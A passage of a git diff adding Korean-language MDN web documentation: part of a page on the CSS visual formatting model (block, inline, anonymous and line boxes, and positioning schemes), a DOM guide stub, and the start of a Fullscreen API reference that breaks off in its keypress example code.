+<p><img alt="venn_blocks.png" class="internal lwrap" src="/@api/deki/files/5995/=venn_blocks.png" style="float: left;">블록 수준 상자는 역시 블록 콘테이너 상자도 될 수 있습니다. <em>블록 컨테이너 상자</em>는 다른 블록수준 상자만을 포함하고 <a href="/ko/docs/Web/CSS/Inline_formatting_context" title="CSS/Inline formatting context">인라인 서식 상황</a>을 생성하므로 인라인 상자 무리만을 포함합니다.</p>
+
+<p>중요한 점은 블록수준 상자와 블록 컨테이너 상자의 개념은 별개라는 점에 유의해야 한다는 것입니다. 첫째, 상자가 자기 부모와 형제자매과 함께하는 행동 방식을 설명합니다. 둘째, 상자가 자기 자손과는 어떻게 상호작용하는지 설명합니다. 테이블과 같은 블록 수준의 상자 무리는 블록 컨테이너 상자가 아닙니다. 마찬가지로 <ruby><em>비객원</em><rp> (</rp><rt>non-replaced</rt><rp>) </rp></ruby> 인라인 블록과 비객원 테이블 셀과 같은 일부 블록 컨테이너 상자는 블록 수준 상자가 아닙니다.</p>
+
+<p>또한, 블록 컨테이너 상자이며 동시에 블록수준 상자를 일컬어 우리는 <ruby><em>블록 상자</em><rp> (</rp><rt>block boxes</rt><rp>) </rp></ruby>라고 부릅니다.</p>
+
+<h4 id="무명_블록_상자">무명 블록 상자</h4>
+
+<p>경우에 따라서는 시각적 서식 알고리즘은 보충 상자를 추가할 알고리즘도 필요합니다</p>
+
+<p>씨에스에스 선택기는 해당 상자에 이름을 부여하거나 스타일링을 할 수 없기 때문에 이를 일컬어<em>무명 상자</em>라고 합니다.</p>
+
+<p>선택기는 무명 상자와 협력하지 않기 때문에 스타일시트를 통해 스타일링이 적용될 수 없습니다. 즉, 상속할 수 있는 모든 씨에스에스 속성은 <code>inherit</code> 값을 갖고 상속할 수 없는 씨에스에스 속성은 <code>initial</code> 값을 가집니다.</p>
+
+<p>상자를 포함하는 블록은 인라인수준 상자 또는 블록수준 상자만을 포함합니다. 그러나 문서는 두 가지 모두를 혼합해 포함합니다. 그 경우 무명 블록 상자는 인접 인라인수준 상자 주변에 생성됩니다.</p>
+
+<h3 id="예제">예제</h3>
+
+<p>아래와 같은 ({{ HTMLElement("div") }}와 {{ HTMLElement("p") }}에 기본값 스타일링이 적용된 에이치티엠엘 코드가 <code>display: block</code> 속성을 갖고 있다면:</p>
+
+<pre class="syntaxbox"><code>&lt;div&gt;약간의 인라인 텍스트 &lt;p&gt;뒤를 잇는 단락 하나&lt;/p&gt; 그 뒤를 잇는 인라인 텍스트.&lt;/div&gt;</code></pre>
+
+<p>두 개의 무명 블록 상자가 만들어집니다: 하나는 단락 이전 텍스트(<code>약간의 인라인 텍스트</code>) 나머지 하나는 단락 이후 텍스트(<code>그 뒤를 잇는 인라인 텍스트</code>). 이는 다음과 같은 블록 구조를 구축합니다:</p>
+
+<p style="text-align: center;"><img alt="anonymous_block-level_boxes.png" class="default internal" src="/@api/deki/files/5996/=anonymous_block-level_boxes.png"></p>
+
+<p>결과는:</p>
+
+<pre>약간의 인라인 텍스트
+뒤를 잇는 단락 하나
+그 뒤를 잇는 인라인 텍스트.
+</pre>
+
+<p>{{ HTMLElement("p") }} 요소인 상자와 달리 웹 개발자는 두 개의 무명 상자 스타일을 제어할 수 없습니다. 상속 가능한 속성은 (마치 텍스트의 색상을 정의하기 위한 {{ cssxref("color") }}와 같이) {{ HTMLElement("div") }}의 속성 값에서 값을 취하고, 나머지는 초기(<code>initial</code>)값으로 설정합니다. 예를 들어, 무명 상자는 {{ cssxref("background-color") }}를 갖지 않을 것이라, 항상 해당 속성의 초기(<code>initial</code>)값을 가지며 투명합니다. 따라서 <code>&lt;div&gt;</code>의 배경이 보여집니다. 특정 배경색은 <code>&lt;p&gt;</code> 상자에 적용할 수 있습니다. 마찬가지로 두 무명 상자는 항상 같은 색을 텍스트에 사용합니다.</p>
+
+<p>무명 블록 상자를 만드는 또 다른 사례는 하나 또는 여러 개의 블록 상자를 포함하는 인라인 상자입니다. 이 경우 블록 상자가 들어있는 상자는 두 개의 인라인 상자로 쪼개집니다. 하나는 블록 상자 이전에, 다른 하나는 뒤에 옵니다. 블록 상자 이전의 모든 인라인 상자는 <em>무명 블록 상자</em>로 포섭되며, 블록 상자 뒤에 있는 인라인 상자도 마찬가지입니다. 따라서 블록 상자는 인라인 요소를 포함하는 두 개의 무명 블록 상자의 형제가 됩니다.</p>
+
+<p>중간에 인라인 콘텐츠가 없이 여러 블록 상자가 있는 경우 무명 블록 상자가 해당 상자 집합 이전과 이후에 생성됩니다.</p>
+
+<h3 id="예제_2">예제</h3>
+
+<p>아래 에이치티엠엘 코드를 보면 {{ HTMLElement("p") }}는 <code>display: inline</code> 속성을 갖고 있고 {{ HTMLElement("span") }}는 <code>display:block</code> 속성을 갖고 있습니다:</p>
+
+<pre class="syntaxbox"><code>&lt;p&gt;일부 &lt;em&gt;인라인&lt;/em&gt; 텍스트 &lt;span&gt;그 뒤를 잇는 단락&lt;/span&gt; 그 뒤를 잇는 추가 인라인 텍스트.&lt;/p&gt;</code></pre>
+
+<p>두 개의 무명 블록 상자가 생성되었습니다. 스팬 요소 이전의 텍스트(<code>일부 <em>인라인</em> 텍스트</code>) 하나와 그 뒤의 텍스트(<code>그 뒤를 잇는 추가 인라인 텍스트</code>) 하나가 있는데 이로써 다음과 같은 블록 구조가 주어졌습니다:</p>
+
+<p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/13625/anonymous_block_box_break.png" style="height: 137px; width: 597px;"></p>
+
+<p>이 것의 결과는:</p>
+
+<pre>약간의 인라인 텍스트
+뒤를 잇는 단락 하나
+그 뒤를 잇는 인라인 텍스트.
+</pre>
+
+<h3 id="인라인수준_요소와_인라인_상자">인라인수준 요소와 인라인 상자</h3>
+
+<p>어떤 요소가 <em>인라인수준</em>이라고 말하려면 자신의 계산된 {{ cssxref("display") }} 씨에스에스 속성 값이 <code>inline</code>, <code>inline-block</code> 또는 <code>inline-table</code>일 때입니다. 시각적으로는 이것은 콘텐츠로 이뤄진 블록 무리를 구성하지 않고 다른 인라인수준 콘텐츠와 함께 라인의 형태로 배포됩니다. 일반적으로 강조 또는 이미지와 같이 서로 다른 서식을 가진 단락의 콘텐츠는 인라인수준 요소로 만들어집니다.</p>
+
+<p><img alt="venn_inlines.png" class="internal lwrap" src="/@api/deki/files/6008/=venn_inlines.png" style="float: left;"></p>
+
+<div class="warning">
+<p>이 도식은 구식 용어를 사용합니다: 아래 참조 사항을 보세요. 그것 이외에도 오른쪽의 노란색 타원은 정의에 따르면 왼쪽의 타원형과 동일하거나 그보다 크기 때문에(수학적 상위집합일 수 있어) 그림이 틀렀습니다, 왜냐하면 해당 씨에스에스 스펙을 보면 "인라인수준 요소는 인라인 서식 상황에 참여하는 상자인 인라인수준 상자를 생성한다"라고 쓰여있기 때문입니다. 씨에스에스 2.2, 9.2.2장 참조</p>
+</div>
+
+<p>인라인 수준 요소는 <a href="/ko/docs/CSS/Inline_formatting_context" title="CSS/Inline formatting context">인라인 서식 상황</a>에 참여하는 상자로 정의되는 <em>인라인수준 상자</em>를 생성합니다. <em>인라인 상자</em>는 상자와 인라인 수준 상자 모두가 해당합니다. 다만 이들 상자의 콘텐츠는 인라인 서식 상황에 참여해야 합니다. 예를 들어, <code>display: inline</code> 속성을 가진 모든 비객원 상자의 경우가 인라인입니다. 인라인 서식 상황에 참여하지 않는 인라인수준 상자를 <ruby><em>원자 인라인수준 상자</em><rp> (</rp><rt>atomic inline-level boxes</rt><rp>) </rp></ruby>라고 합니다. 객원 인라인수준 요소 또는 계산된 {{ cssxref("display") }} 값이 <code>inline-block</code>인 요소에 의해 생성된 해당 상자 무리는 인라인 상자에서 가능했던 것처럼 여러 상자로 쪼개지지 않습니다.</p>
+
+<div class="note"><strong>참고:</strong> 처음에는 원자 인라인수준 상자를 원자 인라인 상자라고 불렀습니다. 그 명명은 불행한 일입니다. 인라인 상자가 <strong>아니기</strong> 때문입니다. 이건 씨에스에스 규격 상에 오타로 시정된 겁니다. 그렇긴 하지만, 문장 속에서 원자 인라인 상자를 마주칠 때마다 무리없이 원자 인라인 수준 상자로 읽을 수 있습니다. 그냥 이름 변경에 불과하기 때문입니다.</div>
+
+<div class="note">원자 일라인 상자는 인라인 서식 상황 속에서 여러 라인에 걸쳐 분할될 수 없습니다.
+<div style="-moz-column-width: 30em;">
+<pre>&lt;style&gt;
+ span {
+ display:inline; /* default value*/
+ }
+&lt;/style&gt;
+&lt;div style="width:20em;"&gt;
+ 스팬 요소에 포함된 택스트는 &lt;span&gt; 몇 개의 라인으로 분할 될 수
+ 있습니다. 왜냐면 &lt;/span&gt; 그것이 인라인 상자이기 때문입니다.
+&lt;/div&gt;
+</pre>
+
+<p>이 것의 결과는:</p>
+
+<div style="width: 20em;">The text in the span <span>can be split into several lines as it</span> is an inline box.</div>
+
+<pre>&lt;style&gt;
+ span {
+ display:inline-block;
+ }
+&lt;/style&gt;
+&lt;div style="width:20em;"&gt;
+ 스팬 요소에 포함된 텍스트는 &lt;span&gt;몇 라인으로 분할 될 수
+ 없 습니다. 왜냐면 &lt;/span&gt; 그것이 인라인 블록이기 때문입니다.
+&lt;/div&gt;
+</pre>
+
+<p>이 것의 결과는:</p>
+
+<div style="width: 20em;">스팬 요소에 포함된 텍스트는 <span style="display: inline-block;">분할될 수 없습니다. 왜냐면</span> 인라인 블록 상자이기 때문입니다.</div>
+</div>
+</div>
+
+<h4 id="무명_인라인_상자">무명 인라인 상자</h4>
+
+<p>블록상자처럼 씨에스에스 엔진에 의해 자동적으로 인라인상자가 생성되는 경우가 몇 개 있습니다. 이들 인라인 상자는 무명으로, 선택기가 이름을 특정할 수 없습니다. 무명 인라인 상자의 속성은, 상속 가능한 것은 상속된 값을, 그 이외는 <code>initial</code> 값을 가집니다.</p>
+
+<p>무명의 인라인 상자가 만들어지는 흔한 경우는 인라인 서식 상황을 만드는 블록상자의 직계 자식 요소로 파악되는 텍스트가 있는 경우입니다. 이 경우, 동 텍스트는 최대한 큰 무명 인라인 상자에 넣을 수 있습니다. 또한, 씨에스에스의 {{ cssxref("white-space") }} 속성으로 지정된 동작에 의해 제거되는 공백의 콘텐츠는 결국 공백이 될 것이기 때문에 무명 인라인 상자를 생성하지 않습니다.</p>
+
+<div class="note">예제 TBD</div>
+
+<h3 id="다른_유형의_상자">다른 유형의 상자</h3>
+
+<h4 id="라인_상자">라인 상자</h4>
+
+<p><em>라인 상자</em>는 텍스트 라인을 표현하기 위해 <a href="/en-US/docs/CSS/Inline_formatting_context" title="block formatting context">인라인 서식 상황</a>에 의해 생성되는 상자입니다. 블록 상자 내부의 라인 상자는 상자의 한쪽 테두리로부터 반대측의 테두리까지 넓어집니다. <a href="/en-US/docs/CSS/float" title="float">부동체</a>가 있을 경우 라인 상자 구역은 왼쪽 부동체의 맨우측 테두리에서 시작해 우측 부동체의 맨좌측 테두리에서 끝납니다.</p>
+
+<p>이들 상자는 기술적인 것으로, 보통 웹 저술가가 이것에 대해 고민할 필요는 없습니다.</p>
+
+<h4 id="내부진행_상자">내부진행 상자</h4>
+
+<p><code>display: run-in</code>을 사용하도록 정의되는 <ruby><em>내부진행 상자</em><rp> (</rp><rt>Run-in boxes</rt><rp>) </rp></ruby>는 후속 상자의 유형 여하에 따라 블록 상자이거나 인라인 상자입니다. 그들은 가능할 경우 자신의 첫 단락 내부에 진행하는 글 제목을 생성하는 데 사용될 수 있습니다.</p>
+
+<div class="note"><strong>참고:</strong> 내부진행 상자는 씨에스에스 2.1 규격에서 제외되었다. 상호운용 실현 가능성을 불충분하게 명시했기 때문입니다. 그들이 <ruby><em>씨에스에스 3</em><rp> (</rp><rt>CSS 3</rt><rp>) </rp></ruby>에선 다시 등장할 수도 있지만, 현재로선 <em>실험 상태</em>로 간주합니다. 그들을 완성품에선 사용하지 말아야 합니다.</div>
+
+<h4 id="모델유인_상자">모델유인 상자</h4>
+
+<p>인라인 및 블록 서식 상황 외에도 씨에스에스는 요소에 적용할 수 있는 몇 가지 추가 <em>콘텐츠 모델</em>을 지정할 수 있습니다. 특정 레이아웃을 설명하는 데 사용되는 이러한 추가 모델은 추가 상자 유형을 정의할 수 있습니다.</p>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/table-layout" title="table-layout">테이블 콘텐츠 모델</a>은 <em>테이블 래퍼 상자</em>와 <em>테이블 상자</em>를 생성할 수 있을뿐만 아니라 <em>캡션 상자</em>같은 특정 상자도 생성할 수 있습니다.</li>
+ <li>The <a href="/en-US/docs/CSS/Using_CSS_multi-column_layouts" title="Using CSS multi-column layouts">다단 콘텐츠 모델</a> 은 컨테이너 상자와 컨텐츠 사이에 <ruby><em>열 상자</em><rp> (</rp><rt>column boxes</rt><rp>) </rp></ruby>를 생성할 수 있습니다.</li>
+ <li>실험적인 격자 또는 가변상자 콘텐츠 모델, 또는 추가적인 유형의 상자를 생성할 수 있습니다.</li>
+</ul>
+
+<h4 id="위치잡기_기법">위치잡기 기법</h4>
+
+<p>상자를 생성하고 나면 씨에스에스 엔진은 그것들을 조판에 위치시켜야 합니다. 그렇게 하려면 다음과 같은 알고리즘 중의 하나를 사용합니다.</p>
+
+<ul>
+ <li><ruby><em>일반 대열</em><rp> (</rp><rt>normal flow</rt><rp>) </rp></ruby> - 하나씩 차례대로 상자를 위치시킵니다.</li>
+ <li><ruby><em>부동체</em><rp> (</rp><rt>floats</rt><rp>) </rp></ruby> 알고리즘 - 일반 대열에서 상자를 빼내어 상위 컨테이너 상자 옆에 놓습니다.</li>
+ <li><em>절대 위치잡기</em> 기법 - 자신의 상위 컨테이너 요소가 수립한 절대 좌표 시스템 내부에 상자를 위치시킵니다. 절대적으로 위치잡기한 요소는 다른 요소를 덮을 수 있습니다.</li>
+</ul>
+
+<h3 id="일반_대열">일반 대열</h3>
+
+<p><em>일반 대열</em> 속 상자 무리는 하나씩 차례대로 배치됩니다. 블록 서식 상황 속에서 그들은 수직으로 배치됩니다. 반면에 인라인 서식 상황 속에서 그들은 수평으로 배치됩니다. 일반 대열은 CSS {{ cssxref("position") }}이 <code>static</code> 또는 <code>relative</code> 값으로 설정될 경우와 {{ cssxref("float") }}가 <code>none</code>으로 설정되면 발동됩니다.</p>
+
+<h3 id="예제_3">예제</h3>
+
+<div class="note">일반 대열 속에서는 블록 서식 상황에 포함된 상자는 수직으로 하나씩 차례대로 배치됩니다.<br>
+<br>
+일반 대열 속에서는 인라인 서식 상황에 포함된 상자는 수평으로 하나씩 차례대로 배치됩니다.</div>
+
+<div class="note">
+<p>일반 대열에는 두 가지 하위 사례가 있습니다. 정적 위치잡기와 상대 위치잡기:</p>
+
+<ul>
+ <li><em>정적 위치잡기</em>에서는 {{ cssxref("position") }} 속성이 <code>static</code> 값일 경우에 발동됩니다. 상자 무리는 일반 대열 조판에 정의된 정확한 위치에 그려집니다.</li>
+ <li><em>상대 위치잡기</em>에서는 {{ cssxref("position") }} 속성이 <code>relative</code> 값일 경우 발동합니다. 상자는 씨에스에스 속성 무리인 {{ cssxref("top") }}, {{ cssxref("bottom") }}과 {{ cssxref("left") }}, {{ cssxref("right") }}에 의해 정의된 간격띄우기 값을 기준으로 그려집니다.</li>
+</ul>
+</div>
+
+<h3 id="부동체">부동체</h3>
+
+<p><ruby><em>부동 위치잡기 기법</em><rp> (</rp><rt>float positioning scheme</rt><rp>) </rp></ruby>에서는 특정 상자(부동 상자 또는 단순 부동체라고 일컬음)를 현재 라인의 시작 또는 끝에 위치시킵니다. 이는 텍스트(그리고 더 일반적으로 일반 대열 내의 모든 것)은 부동 상자의 가장자리를 따라 대열을 맞추는 속성으로 귀결됩니다. 다만 씨에스에스 {{ cssxref("clear") }} 속성에 의해 다른 예기가 나올 경우는 예외입니다.</p>
+
+<p>상자에 대해 부동 위치잡기 기법을 선택하려면 해당 상대에 대해 씨에스에스 {{ cssxref("float") }} 속성을 <code>none</code> 이외의 값으로 설정하거나 {{ cssxref("position") }} 속성에 <code>static</code>이나 <code>relative</code>가 아닌 값으로 설정할 때 이뤄진다. 만일 {{ cssxref("float") }}가 <code>left</code>로 설정되면 부동체는 라인 상자의 시작 부분에 위치합니다. 만일 <code>right</code>으로 설정되면 동 부동체는 라인 상자의 끝에 위치합니다. 어떤 경우든 라인 상자는 부동체에 들어맞게 축소됩니다.</p>
+
+<h3 id="절대_위치잡기">절대 위치잡기</h3>
+
+<p><ruby><em>절대 위치잡기 기법</em><rp> (</rp><rt>absolute positioning scheme</rt><rp>) </rp></ruby>에 포함된 상자는 대열에서 제거되어 대열과는 어떤 상호작용도 하지 않습니다. 그들은 {{ cssxref("top") }}과 {{ cssxref("bottom") }}, {{ cssxref("left") }}와 {{ cssxref("right") }}를 사용해서 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block" title="CSS/Containing block">상위 컨테이너 블록</a> 기준으로 비례해서 위치잡기합니다.</p>
+
+<p>하나의 요소를 절대 위치잡기하려면 {{ cssxref("position") }}이 <code>absolute</code> 또는 <code>fixed</code>로 설정하면 됩니다.</p>
+
+<p><em>고정 위치잡기한 요소</em>의 경우 상위 컨테이너 블록이 뷰포트입니다. 동 요소의 위치는 뷰포트 내부에서 절대적 위치가 됩니다. 스크롤링은 동 요소의 위치를 변경시키지 않습니다.</p>
+
+<h2 id="참조_항목">참조 항목</h2>
+
+<ul>
+ <li>{{css_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/guide/dom/index.html b/files/ko/web/guide/dom/index.html
new file mode 100644
index 0000000000..997730a412
--- /dev/null
+++ b/files/ko/web/guide/dom/index.html
@@ -0,0 +1,21 @@
+---
+title: DOM developer guide
+slug: Web/Guide/DOM
+tags:
+ - API
+ - DOM
+ - Guide
+ - NeedsTranslation
+ - TopicStub
+translation_of: Web/API/Document_Object_Model
+---
+<p>{{draft}}</p>
+<p>The <a href="/docs/DOM">Document Object Model</a> is an API for <a href="/en-US/docs/HTML">HTML</a> and <a href="/en-US/docs/XML">XML</a> documents. It provides a structural representation of the document, enabling the developer to modify its content and visual presentation. Essentially, it connects web pages to scripts or programming languages.</p>
+<p>All of the properties, methods, and events available to the web developer for manipulating and creating web pages are organized into <a href="/en-US/docs/Gecko_DOM_Reference">objects</a> (e.g., the document object that represents the document itself, the table object that represents a HTML table element, and so forth). Those objects are accessible via scripting languages in most recent web browsers.</p>
+<p>The DOM is most often used in conjunction with <a href="/en-US/docs/JavaScript">JavaScript</a>. However, the DOM was designed to be independent of any particular programming language, making the structural representation of the document available from a single, consistent API. Though we focus on JavaScript throughout this site, implementations of the DOM can be built for <a href="http://www.w3.org/DOM/Bindings">any language</a>.</p>
+<p>The <a href="http://www.w3.org/">World Wide Web Consortium</a> establishes a <a href="http://www.w3.org/DOM/">standard for the DOM</a>, called the W3C DOM. It should, now that the most important browsers correctly implement it, enable powerful cross-browser applications.</p>
+<h2 id="Why_is_the_DOM_support_in_Mozilla_important.3F" name="Why_is_the_DOM_support_in_Mozilla_important.3F">Why is the DOM important?</h2>
+<p>"Dynamic HTML" (<a href="/en-US/docs/DHTML">DHTML</a>) is a term used by some vendors to describe the combination of HTML, style sheets and scripts that allows documents to be animated. The W3C DOM Working Group is working hard to make sure interoperable and language-neutral solutions are agreed upon (see also the <a href="http://www.w3.org/DOM/faq.html">W3C FAQ</a>). As Mozilla claims the title of "Web Application Platform", support for the DOM is one of the most requested features, and a necessary one if Mozilla wants to be a viable alternative to the other browsers.</p>
+<p>Even more important is the fact that the user interface of Mozilla (also Firefox and Thunderbird) is built using <a href="/en-US/docs/XUL" title="/en-US/docs/XUL">XUL</a>, using the DOM to <a href="/en-US/docs/Dynamically_modifying_XUL-based_user_interface">manipulate its own UI</a>.</p>
+<h2 id="More_about_the_DOM">More about the DOM</h2>
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/ko/web/guide/dom/using_full_screen_mode/index.html b/files/ko/web/guide/dom/using_full_screen_mode/index.html
new file mode 100644
index 0000000000..d7f561a95c
--- /dev/null
+++ b/files/ko/web/guide/dom/using_full_screen_mode/index.html
@@ -0,0 +1,198 @@
+---
+title: Using fullscreen mode
+slug: Web/Guide/DOM/Using_full_screen_mode
+translation_of: Web/API/Fullscreen_API
+---
+<div>{{DefaultAPISidebar("Fullscreen API")}}</div>
+
+<p><strong>Fullscreen API</strong> 는 특정 요소{{DOMxRef("Element")}}(와 해당 자손들을)를 full-screen mode로 표시하고, 더 이상 필요하지 않으면 full-screen mode를 종료하는 메서드를 추가합니다. 이렇게 하면 사용자의 전체 화면을 사용하여, 온라인 게임과 같은 원하는 내용을 표시할 수 있습니다. full-screen mode가 종료될 때까지 화면에서 브라우저의 모든 유저 인터페이스 요소와 기타 응용 프로그램을 제거할 수 있습니다.</p>
+
+<p>API 사용 방법에 대한 자세한 내용은 <a href="/ko/docs/Web/API/Fullscreen_API/Guide">Guide to the Fullscreen API</a> 문서를 참조하세요.</p>
+
+<div class="blockIndicator note">
+<p><strong>주의:</strong> 이 API에 대한 지원은 여러 브라우저에서 이루어지며, 다양한 업체의 접두사(prefix)가 필요하거나, 최신 사양을 구현하지 않는 경우가 많습니다. 이 API 지원에 대한 자세한 내용은 아래에 있는 {{anch("Browser compatibility")}} 섹션을 참조하세요. Fullscreen API를 지원하지 않는 업체의 경우, <a href="https://github.com/rafrex/fscreen">Fscreen</a> 과 같은 라이브러리를 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<p><em>Fullscreen API 에는 자체 인터페이스가 없습니다. 대신에, full-screen 기능을 제공하는데 필요한 메서드, 속성(property), 이벤트 핸들러를 추가하기 위해, 다음 섹션에 나열된 것과 같은 몇 가지 다른 인터페이스를 추가합니다. </em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<p>Fullscreen API 는 {{DOMxRef("Document")}}, {{DOMxRef("Element")}} 인터페이스에 메서드를 추가하여 full-screen mode를 설정하거나 해제할 수 있습니다.</p>
+
+<h3 id="Methods_on_the_Document_interface">Methods on the Document interface</h3>
+
+<dl>
+ <dt>{{DOMxRef("Document.exitFullscreen()")}}</dt>
+ <dd>{{Glossary("user agent")}} 가 full-screen mode에서 창 모드로 다시 전환되도록 요청합니다. full-screen mode가 완전히 종료되면 {{jsxref("Promise")}} resolved 를 반환합니다.</dd>
+</dl>
+
+<h3 id="Methods_on_the_Element_interface">Methods on the Element interface</h3>
+
+<dl>
+ <dt>{{DOMxRef("Element.requestFullscreen()")}}</dt>
+ <dd>유저 에이전트가 지정한 요소(그리고 그 자손들까지)를 full-screen mode로 설정하고, 브라우저의 모든 UI 요소와 다른 모든 애플리케이션을 화면에서 제거하도록 요구합니다. full-screen mode가 활성화되면 {{jsxref("Promise")}} resolved를 반환합니다.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>{{DOMxRef("Document")}} 인터페이스는 full-screen mode가 지원되고 사용 가능한지, full-screen mode가 현재 활성화 되어있는지, 어떤 요소가 스크린을 사용하고 있는지 확인하는데 사용할 수 있는 속성(property)을 제공합니다.</em></p>
+
+<dl>
+ <dt>{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}</dt>
+ <dd><code>fullscreenElement</code> 속성은 DOM(혹은 shadow DOM)에서 현재 full-screen mode로 표시되는 요소{{DOMxRef("Element")}}를 알려줍니다. 이것이 <code>null</code>인 경우, document는 full-screen mode가 아닙니다.</dd>
+ <dt>{{DOMxRef("Document.fullscreenEnabled")}}</dt>
+ <dd><code>fullscreenEnabled</code> 속성(property)은 full-screen mode를 사용할 수 있는지 여부를 알려줍니다. 이유가 어떻든(예를들어, <code>"fullscreen"</code> 기능이 허락되지 않거나, full-screen mode가 지원되지 않는 경우) full-screen mode를 사용할 수 없으면 <code>false</code> 입니다.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<p><em>Fullscreen API는 full-screen mode를 켜고 끌 때 혹은, full-screen mode와 window mode간에 변경하는 과정에서 오류가 발생하는 것을 감지하는데 사용할 수 있는 두 가지 이벤트를 정의합니다. 이러한 이벤트에 대한 이벤트 핸들러는 {{DOMxRef("Document")}} 와{{DOMxRef("Element")}} 인터페이스 에서 사용할 수 있습니다.</em></p>
+
+<div class="blockIndicator note">
+<p><strong>주의:</strong> 이러한 이벤트 핸들러 속성(property)은 HTML 컨텐트 속성(attribute)으로 사용할 수 없습니다. 즉, HTML 컨텐트에서 {{Event("fullscreenchange")}} 및 {{Event("fullscreenerror")}} 이벤트를 지정할 수 없습니다. 자바스크립트 코드로 추가해야만 합니다.</p>
+</div>
+
+<h4 id="Event_handlers_on_documents">Event handlers on documents</h4>
+
+<dl>
+ <dt>{{DOMxRef("Document.onfullscreenchange")}}</dt>
+ <dd>문서(document)가 full-screen mode로 전환되거나 full-screen mode를 종료할 때 {{DOMxRef("Document")}}로 보내지는 {{Event("fullscreenchange")}} 이벤트에 대한 이벤트 핸들러 입니다. 이 핸들러는 오직 전체 문서가 full-screen mode로 표시될 때만 호출됩니다.</dd>
+ <dt>{{DOMxRef("Document.onfullscreenerror")}}</dt>
+ <dd>전체 문서에 대해 full-screen mode를 사용하거나, 사용하지 않도록 설정하는 동안 오류가 발생하면, {{DOMxRef("Document")}}로 보내지는 {{Event("fullscreenerror")}} 이벤트의 이벤트 핸들러입니다.</dd>
+</dl>
+
+<h4 id="Event_handlers_on_elements">Event handlers on elements</h4>
+
+<dl>
+ <dt>{{DOMxRef("Element.onfullscreenchange")}}</dt>
+ <dd>{{Event("fullscreenchange")}} 이벤트가 요소(element)로 전송되면, 요소가 full-screen mode로 배치되거나 제거되었음을 나타내는 이벤트 핸들러입니다.</dd>
+ <dt>{{DOMxRef("Element.onfullscreenerror")}}</dt>
+ <dd>full-screen mode 를 사용하거나, 사용하지 않도록 설정하는 동안 오류가 발생하면 요소로 보내지는 {{Event("fullscreenerror")}} 이벤트의 이벤트 핸들러입니다.</dd>
+</dl>
+
+<h3 id="Obsolete_properties">Obsolete properties</h3>
+
+<dl>
+ <dt>{{DOMxRef("Document.fullscreen")}} {{Deprecated_Inline}}</dt>
+ <dd>문서에 현재 full-screen mode로 표시되는 요소가 있는 경우 <code>true</code>, 그렇지 않으면 <code>false</code>의 Boolean 값입니다.
+ <div class="note"><strong>주의:</strong> 대신에 {{DOMxRef("Document")}} 나 {{DOMxRef("ShadowRoot")}} 에서 {{DOMxRef("Document.fullscreenElement", "fullscreenElement")}} 속성(property)을 사용하세요. 그것이 <code>null</code>이 아닌 경우 {{DOMxRef("Element")}}가 full-screen mode로 표시됩니다.</div>
+ </dd>
+</dl>
+
+<h2 id="Things_your_users_want_to_know" name="Things_your_users_want_to_know">Events</h2>
+
+<p><em>Fullscreen API는 full-screen mode를 켜고 끌 때 혹은, full-screen mode와 window mode간에 변경하는 과정에서 오류가 발생하는 것을 감지하는데 사용할 수 있는 두 가지 이벤트를 정의합니다.</em></p>
+
+<dl>
+ <dt>{{Event("fullscreenchange")}}</dt>
+ <dd>full-screen mode를 사용하거나, 사용하지 않도록 전환할 때 {{DOMxRef("Document")}} 혹은{{DOMxRef("Element")}} 로 보냅니다.</dd>
+ <dt>{{Event("fullscreenerror")}}</dt>
+ <dd>full-screen mode를 사용하거나, 사용하지 않도록 전환하려고 시도하는 중에 오류가 발생하면 <code>Document</code> 또는 <code>Element</code> 로 보냅니다.</dd>
+</dl>
+
+<h2 id="Dictionaries">Dictionaries</h2>
+
+<dl>
+ <dt>{{DOMxRef("FullscreenOptions")}}</dt>
+ <dd>{{DOMxRef("Element.requestFullscreen", "requestFullscreen()")}}을 호출할 때 지정할 수 있는 옵션 설정을 제공합니다.</dd>
+</dl>
+
+<h2 id="Controlling_access">Controlling access</h2>
+
+<p><a href="/ko/docs/Web/HTTP/Feature_Policy">Feature Policy</a>을 사용하여 full-screen mode의 유효성을 제어할 수 있습니다. full-screen mode는 <code>"fullscreen"</code>으로 식별되고, 기본 허용 목록 값은 <code>"self"</code> 입니다. 이는 최상위(top-level) 문서 컨텍스트에서 full-screen mode가 허용된다는 것을 의미하며, 최상위(top-most) 문서와 같은 출처에서 로드 된 중첩 된 컨텍스트에도 적용됩니다.</p>
+
+<p>기능 정책을 사용하여 API에 대한 액세스를 제어하는 자세한 내용은 <a href="/ko/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a>을 참조하세요.</p>
+
+<h2 id="Things_your_users_want_to_know" name="Things_your_users_want_to_know">Usage notes</h2>
+
+<p>사용자는 <kbd>ESC</kbd> (혹은 <kbd>F11</kbd>) 키를 누르기만하면 사이트 또는 앱이 프로그래밍 방식으로 기다리는 대신에, full-screen mode를 종료하도록 선택할 수 있습니다. 유저 인터페이스의 어딘가에 사용자에게 이 옵션을 사용할 수 있음을 알리는, 적절한 유저 인터페이스 요소를 제공해야 합니다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> 다른 페이지로 이동하거나, 탭을 변경하거나, 응용 프로그램 전환기(또는 <kbd>Alt</kbd>-<kbd>Tab</kbd>)를 사용하여, 다른 응용 프로그램으로 전환하면 마찬가지로 full-screen mode가 종료됩니다.</p>
+</div>
+
+<h2 id="Example">Example</h2>
+
+<p>이 예제에서는 비디오가 웹 페이지에 표시됩니다. <kbd>Return</kbd> 또는 <kbd>Enter</kbd> 키를 누르면, 사용자가 비디오의 창과 full-screen 표시를 전환할 수 있습니다.</p>
+
+<p><a href="/samples/domref/fullscreen.html">View Live Examples</a></p>
+
+<h3 id="Watching_for_the_Enter_key">Watching for the Enter key</h3>
+
+<p>페이지가 로드되면, 이 코드가 실행되어 <kbd>Enter</kbd> 키 를 주시하는 이벤트 리스너를 설정합니다.</p>
+
+<pre class="brush: js">document.addEventListener("keypress", function(e) {
+  if (e.keyCode === 13) {
+    toggleFullScreen();
+  }
+}, false);
+</pre>
+
